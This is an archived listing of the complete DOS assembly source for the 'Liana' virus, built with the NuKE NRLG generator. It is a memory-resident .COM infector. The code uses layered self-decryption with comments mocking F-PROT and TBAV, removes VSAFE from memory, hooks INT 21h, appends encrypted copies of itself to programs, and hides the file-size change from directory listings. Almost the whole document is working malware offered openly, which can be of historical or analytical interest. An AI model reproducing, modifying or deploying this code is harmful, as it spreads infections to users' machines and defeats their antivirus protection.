home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / LIANA.ASM < prev    next >
Assembly Source File  |  1996-05-19  |  23KB  |  474 lines
  1. ;┌────────────────────────────────────────────────────────┐
  2. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  3. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  4. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  5. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  6. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  7. ;└────────────────────────────────────────────────────────┘
  8. ; Liana Virus, created by Gehenna on 20 May 96!
  9.  
  10. .286
  11. code    segment
  12. assume cs:code,ds:code
  13. org  100h
  14.  
  15. start:  CALL NEXT 
  16.  
  17. NEXT:  
  18.        mov di,sp             ;take the stack pointer location 
  19.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  20.        sub bp,offset next    ;subtract the large code off this code 
  21.                              ;
  22. ;*******************************************************************
  23. ;                      #1 DECRYPT ROUTINE                               
  24. ;*******************************************************************
  25.  
  26. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  27. je crypt2                    ;yes! not decrypt              
  28. ;----------------------------------------------------------                                          
  29. mov cx,offset fin            ;cx = large of virus               
  30. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  31. mov dx,1                     ;dx = value for decrypt          
  32. ;----------------------------------------------------------                                                   
  33. deci:                        ;deci = fuck label!                                    
  34. ;----------------------------------------------------------
  35.  
  36.  sub byte ptr [di],07ch
  37. not byte ptr [di] 
  38. xor word ptr [di],03c11h
  39. xor byte ptr [di],069h
  40. xor byte ptr [di],0ch
  41. xor byte ptr [di],0a2h
  42. not word ptr [di] 
  43. add word ptr [di],05875h
  44. inc word ptr [di]
  45. add byte ptr [di],049h
  46. add word ptr [di],0ecb8h
  47. xor byte ptr [di],0f8h
  48. add byte ptr [di],083h
  49. not word ptr [di] 
  50. add byte ptr [di],02h
  51.  inc di
  52. inc di
  53. ;----------------------------------------------------------                                                
  54. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  55. mov ah,4ch
  56. int 21h
  57. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  58. ;-----------------------------------------------------------                               
  59. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  60. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  61. ;----------------------------------------------------------                                   
  62. loop deci                    ;repeat please!               
  63.                              ;           
  64. ;*****************************************************************
  65. ;                   #2 DECRYPT ROUTINE                                                    
  66. ;*****************************************************************
  67.                               ;    
  68. crypt:                        ;fuck label!                  
  69.                               ;                
  70. mov cx,offset fin             ;cx = large of virus                 
  71. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  72. ;---------------------------------------------------------------                                              
  73. deci2:                        ;              
  74. xor byte ptr cs:[di],1        ;decrytion rutine          
  75. inc di                        ;very simple...            
  76. loop deci2                    ;           
  77. ;---------------------------------------------------------------
  78. crypt2:                       ;fuck label!          
  79.                               ;                  
  80. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  81. INT 21H                       ;for chek "I'm is residet?"   
  82. CMP Bh,0CAH                   ;is equal to CACA?
  83. JE PUM2                       ;yes! jump to runnig program
  84. call action
  85. ;*****************************************************************
  86. ; NRLG FUNCTIONS  (SELECTABLE)
  87. ;*****************************************************************
  88.  
  89.  call ANTI_V
  90. ;****************************************************************
  91. ;               PROCESS TO REMAIN RESIDENT                                                                  
  92. ;****************************************************************   
  93.  
  94. mov   ax,3521h                  
  95. int   21h                        ;store the int 21 vectors 
  96. mov   word ptr [bp+int21],bx     ;in cs:int21
  97. mov   word ptr [bp+int21+2],es   ;
  98. ;---------------------------------------------------------------
  99. push cs                          ; 
  100. pop ax                           ;ax = my actual segment                             
  101. dec ax                           ;dec my segment for look my MCB
  102. mov es,ax                        ;
  103. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  104. ;---------------------------------------------------------------
  105. push cs                          ;   
  106. pop es                           ;   
  107. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  108. sub bx,17 + offset fin           ;and 100H for the PSP total
  109. mov ah,4ah                       ;used memory
  110. int 21h                          ;put the new value to MCB
  111. ;---------------------------------------------------------------
  112. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  113. mov ah,48h                      ;                              
  114. int 21h                         ;request the memory to fuck DOS!                                                 
  115. ;---------------------------------------------------------------
  116. dec ax                          ;ax=new segment 
  117. mov es,ax                       ;ax-1= new segment MCB 
  118. mov byte ptr es:[1],8           ;put '8' in the segment
  119. ;--------------------------------------------------------------                                
  120. inc ax                          ; 
  121. mov es,ax                       ;es = new segment
  122. lea si,[bp + offset start]      ;si = start of virus 
  123. mov di,100h                     ;di = 100H (psp position) 
  124. mov cx,offset fin - start       ;cx = lag of virus
  125. push cs                         ;
  126. pop ds                          ;ds = cs
  127. cld                             ;mov the code
  128. rep movsb                       ;ds:si >> es:di
  129. ;--------------------------------------------------------------
  130. mov dx,offset virus             ;dx = new int21 handler
  131. mov ax,2521h                    ;
  132. push es                         ; 
  133. pop ds                          ; 
  134. int 21h                         ;set the vectors 
  135. ;-------------------------------------------------------------
  136. pum2:                               ;  
  137.                                     ; 
  138. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  139. mov byte ptr cs:[100h],ah           ;first bytes  
  140. mov ax,word ptr [cs:bp + real + 1]  ;
  141. mov word ptr cs:[101h],ax           ;
  142. ;-------------------------------------------------------------
  143. mov ax,100h                         ;
  144. jmp ax                              ;jmp to execute
  145.                                     ;
  146. ;*****************************************************************
  147. ;*             HANDLER FOR THE INT 21H                                       
  148. ;*****************************************************************
  149.                           ;          
  150. VIRUS:                    ;  
  151.                           ;     
  152. cmp ah,4bh                ;is a 4b function? 
  153. je REPRODUCCION           ;yes! jump to reproduce !
  154. cmp ah,11h
  155. je dir
  156. cmp ah,12h
  157. je dir
  158. dirsal:
  159. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  160. jne a3                    ;no! jump to a3
  161. mov bh,0cah               ;yes! put ca in bh
  162. a3:                       ;
  163. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  164. ret                       ;    
  165. make db 'N.R.L.G. by Gehenna'
  166. dir:
  167. jmp dir_s
  168. ;-------------------------------------------------------------
  169. REPRODUCCION:              ;       
  170.                            ;
  171. pushf                      ;put the register
  172. pusha                      ;in the stack
  173. push si                    ;
  174. push di                    ;
  175. push bp                    ;
  176. push es                    ;
  177. push ds                    ;
  178. ;-------------------------------------------------------------
  179. push cs                    ;  
  180. pop ds                     ;  
  181. mov ax,3524H               ;get the dos error control                      
  182. int 21h                    ;interupt                        
  183. mov word ptr error,es      ;and put in cs:error                      
  184. mov word ptr error+2,bx    ;            
  185. mov ax,2524H               ;change the dos error control                    
  186. mov dx,offset all          ;for my "trap mask"                      
  187. int 21h                    ;         
  188. ;-------------------------------------------------------------
  189. pop ds                     ;
  190. pop es                     ;restore the registers
  191. pop bp                     ;
  192. pop di                     ;
  193. pop si                     ;
  194. popa                       ;
  195. popf                       ;
  196. ;-------------------------------------------------------------
  197. pushf                      ;put the registers
  198. pusha                      ;     
  199. push si                    ;HEY! AZRAEL IS CRAZY?
  200. push di                    ;PUSH, POP, PUSH, POP
  201. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  202. push es                    ;PURIFY THIS SHIT!
  203. push ds                    ;
  204. ;-------------------------------------------------------------
  205. mov ax,4300h                 ;       
  206. int 21h                      ;get the file     
  207. mov word ptr cs:[attrib],cx  ;atributes   
  208. ;-------------------------------------------------------------
  209. mov ax,4301h                 ;le saco los atributos al        
  210. xor cx,cx                    ;file 
  211. int 21h                      ;
  212. ;-------------------------------------------------------------  
  213. mov ax,3d02h                 ;open the file 
  214. int 21h                      ;for read/write
  215. mov bx,ax                    ;bx=handle
  216. ;-------------------------------------------------------------
  217. mov ax,5700h                ;     
  218. int 21h                     ;get the file date  
  219. mov word ptr cs:[hora],cx   ;put the hour    
  220. mov word ptr cs:[dia],dx    ;put the day    
  221. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  222. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  223. jne seguir                  ;yes! the file is infected!     
  224. jmp cerrar                  ;
  225. ;------------------------------------------------------------
  226. seguir:                     ;     
  227. mov ax,4202h                ;move the pointer to end
  228. call movedor                ;of the file
  229. ;------------------------------------------------------------
  230. push cs                     ;   
  231. pop ds                      ; 
  232. sub ax,3                    ;calculate the 
  233. mov word ptr [cs:largo],ax  ;jmp long
  234. ;-------------------------------------------------------------
  235. mov ax,04200h               ;move the pointer to  
  236. call movedor                ;start of file
  237. ;----------------------------------------------------------                                          
  238. push cs                     ;   
  239. pop ds                      ;read the 3 first bytes  
  240. mov ah,3fh                  ;                           
  241. mov cx,3                    ;
  242. lea dx,[cs:real]            ;put the bytes in cs:[real]
  243. int 21h                     ;
  244. ;----------------------------------------------------------                                          
  245. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  246. jne er1                         ;yes! is a EXE... fuckkk!
  247. ;----------------------------------------------------------
  248. jmp cerrar
  249. er1:
  250. ;----------------------------------------------------------                                          
  251. mov ax,4200h      ;move the pointer                               
  252. call movedor      ;to start fo file
  253. ;----------------------------------------------------------                                          
  254. push cs           ;       
  255. pop ds            ; 
  256. mov ah,40h        ;  
  257. mov cx,1          ;write the JMP
  258. lea dx,[cs:jump]  ;instruccion in the
  259. int 21h           ;fist byte of the file
  260. ;----------------------------------------------------------                                          
  261. mov ah,40h         ;write the value of jmp
  262. mov cx,2           ;in the file 
  263. lea dx,[cs:largo]  ; 
  264. int 21h            ;
  265. ;----------------------------------------------------------                                          
  266. mov ax,04202h      ;move the pointer to 
  267. call movedor       ;end of file
  268. ;----------------------------------------------------------                                          
  269. push cs                     ;        
  270. pop ds                      ;move the code  
  271. push cs                     ;of my virus      
  272. pop es                      ;to cs:end+50     
  273. cld                         ;for encrypt          
  274. mov si,100h                 ;    
  275. mov di,offset fin + 50      ;      
  276. mov cx,offset fin - 100h    ;        
  277. rep movsb                   ;      
  278. ;----------------------------------------------------------                                          
  279. mov cx,offset fin           
  280. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  281. enc:                              ;           
  282. xor byte ptr cs:[di],1            ;encrypt the virus              
  283. inc di                            ;code                   
  284. loop enc                          ;              
  285. ;---------------------------------------------------------
  286. mov cx,offset fin           
  287. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  288. mov dx,1
  289. enc2:                              ;           
  290.  
  291.  sub byte ptr [di],02h
  292. not word ptr [di]
  293. sub byte ptr [di],083h
  294. xor byte ptr [di],0f8h
  295. sub word ptr [di],0ecb8h
  296. sub byte ptr [di],049h
  297. dec word ptr [di]
  298. sub word ptr [di],05875h
  299. not word ptr [di]
  300. xor byte ptr [di],0a2h
  301. xor byte ptr [di],0ch
  302. xor byte ptr [di],069h
  303. xor word ptr [di],03c11h
  304. not byte ptr [di]
  305. add byte ptr [di],07ch
  306.  inc di
  307. inc di                             ;the virus code                  
  308. loop enc2                          ;              
  309. ;--------------------------------------------
  310. mov ah,40h                       ;  
  311. mov cx,offset fin - offset start ;copy the virus              
  312. mov dx,offset fin + 50           ;to end of file
  313. int 21h                          ;
  314. ;----------------------------------------------------------                                          
  315. cerrar:                          ;
  316.                                  ;restore the       
  317. mov ax,5701h                     ;date and time    
  318. mov cx,word ptr cs:[hora]        ;file   
  319. mov dx,word ptr cs:[dia]         ;     
  320. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  321. int 21h                          ; 
  322. ;----------------------------------------------------------                                          
  323. mov ah,3eh                       ; 
  324. int 21h                          ;close the file
  325. ;----------------------------------------------------------                                          
  326. pop ds                           ;
  327. pop es                           ;restore the 
  328. pop bp                           ;registers
  329. pop di                           ; 
  330. pop si                           ;
  331. popa                             ;
  332. popf                             ;
  333. ;----------------------------------------------------------                                          
  334. pusha                           ;   
  335.                                 ;                                                             
  336. mov ax,4301h                    ;restores the atributes 
  337. mov cx,word ptr cs:[attrib]     ;of the file  
  338. int 21h                         ;   
  339.                                 ;
  340. popa                            ; 
  341. ;----------------------------------------------------------                                          
  342. pushf                           ;                           
  343. pusha                           ; 8-(  = f-prot                       
  344. push si                         ;                       
  345. push di                         ; 8-(  = tbav   
  346. push bp                         ;                       
  347. push es                         ; 8-)  = I'm                        
  348. push ds                         ;                              
  349. ;----------------------------------------------------------                                          
  350. mov ax,2524H                    ;                         
  351. lea bx,error                    ;restore the                         
  352. mov ds,bx                       ;errors handler      
  353. lea bx,error+2                  ;                         
  354. int 21h                         ;                       
  355. ;----------------------------------------------------------                                          
  356. pop ds                          ;
  357. pop es                          ;
  358. pop bp                          ;restore the 
  359. pop di                          ;resgisters
  360. pop si                          ;
  361. popa                            ;
  362. popf                            ;
  363. ;----------------------------------------------------------                                          
  364. JMP A3                          ;jmp to orig. INT 21
  365.                                 ;
  366. ;**********************************************************
  367. ;           SUBRUTINES AREA
  368. ;**********************************************************
  369.                                 ;
  370. movedor:                        ;   
  371.                                 ; 
  372. xor cx,cx                       ;use to move file pointer         
  373. xor dx,dx                       ;       
  374. int 21h                         ;        
  375. ret                             ;        
  376. ;----------------------------------------------------------                                          
  377. all:                            ;  
  378.                                 ; 
  379. XOR AL,AL                       ;use to set 
  380. iret                            ;error flag
  381.  
  382. ;***********************************************************
  383. ;         DATA AREA
  384. ;***********************************************************
  385. largo  dw  ?
  386. jump   db  0e9h
  387. real   db  0cdh,20h,0
  388. hora   dw  ?
  389. dia    dw  ?
  390. attrib dw  ?
  391. int21  dd  ?
  392. error  dd  ?
  393.  
  394.  ;---------------------------------
  395. action:                          ;Call label      
  396. MOV AH,2AH                       ;        
  397. INT 21H                          ;get date           
  398. CMP Dl,byte ptr cs:[action_dia+bp]  ;is equal to my day?                 
  399. JE  cont                         ;nop! fuck ret          
  400. cmp byte ptr cs:[action_dia+bp],32  ;
  401. jne no_day                       ;
  402. cont:                            ; 
  403. cmp dh,byte ptr cs:[action_mes+bp]  ;is equal to my month?            
  404. je set                           ;
  405. cmp byte ptr cs:[action_mes+bp],13  ;
  406. jne NO_DAY                       ;nop! fuck ret           
  407. set:                             ; 
  408. mov AH,9                         ;yeah!!          
  409. MOV DX,OFFSET PAO                ;print my text!         
  410. INT 21H                          ;now!   
  411. INT 20H                          ;an finsh te program        
  412. NO_DAY:                          ;label to incorrect date              
  413. ret                              ;return from call 
  414. ;---------------------------------
  415.  
  416.  
  417. PAO:
  418. DB 10,13,'Dedicated to Liana.  20 May 96','$'
  419.  
  420. ;---------------------------------
  421. ANTI_V:                          ; 
  422. MOV AX,0FA01H                    ;REMOVE VSAFE FROM MEMORY        
  423. MOV DX,5945H                     ; 
  424. INT 21H                          ;           
  425. ret                              ;
  426. ;---------------------------------
  427.  
  428.  ;*****************************************************
  429. dir_s:                                                               
  430.              pushf                                                         
  431.              push    cs                                                    
  432.              call    a3                      ;Get file Stats                       
  433.              test    al,al                   ;Good FCB?                            
  434.              jnz     no_good                 ;nope                                 
  435.              push    ax                                                 
  436.              push    bx                                                    
  437.              push    es                                                    
  438.              mov     ah,51h                  ;Is this Undocmented? huh...          
  439.              int     21h                                                   
  440.              mov     es,bx                                                 
  441.              cmp     bx,es:[16h]                                           
  442.              jnz     not_infected                        
  443.              mov     bx,dx                                                 
  444.              mov     al,[bx]                                               
  445.              push    ax                                                    
  446.              mov     ah,2fh                   ;Get file DTA                         
  447.              int     21h                                                   
  448.              pop     ax                                                    
  449.              inc     al                                                    
  450.              jnz     fcb_okay                                              
  451.              add     bx,7h                                                 
  452. fcb_okay:    mov     ax,es:[bx+17h]                                   
  453.              and     ax,1fh                   ;UnMask Seconds Field                 
  454.              xor     al,byte ptr cs:fechad                                      
  455.              jnz     not_infected                                            
  456.              and     byte ptr es:[bx+17h],0e0h                            
  457.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  458.              sbb     es:[bx+1fh],ax                                        
  459. not_infected:pop     es                                                    
  460.              pop     bx                                                    
  461.              pop     ax                                                    
  462. no_good:     iret                                                          
  463. ;********************************************************************
  464. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  465. ;*********************************************************************
  466.  
  467.  action_dia Db 014H ;day for the action
  468. action_mes Db 05H ;month for the action
  469. FECHA DW 01eH ;Secon for mark
  470. FECHAd Db 01eH ;Secon for mark dir st
  471. fin:
  472. code ends
  473. end start
  474.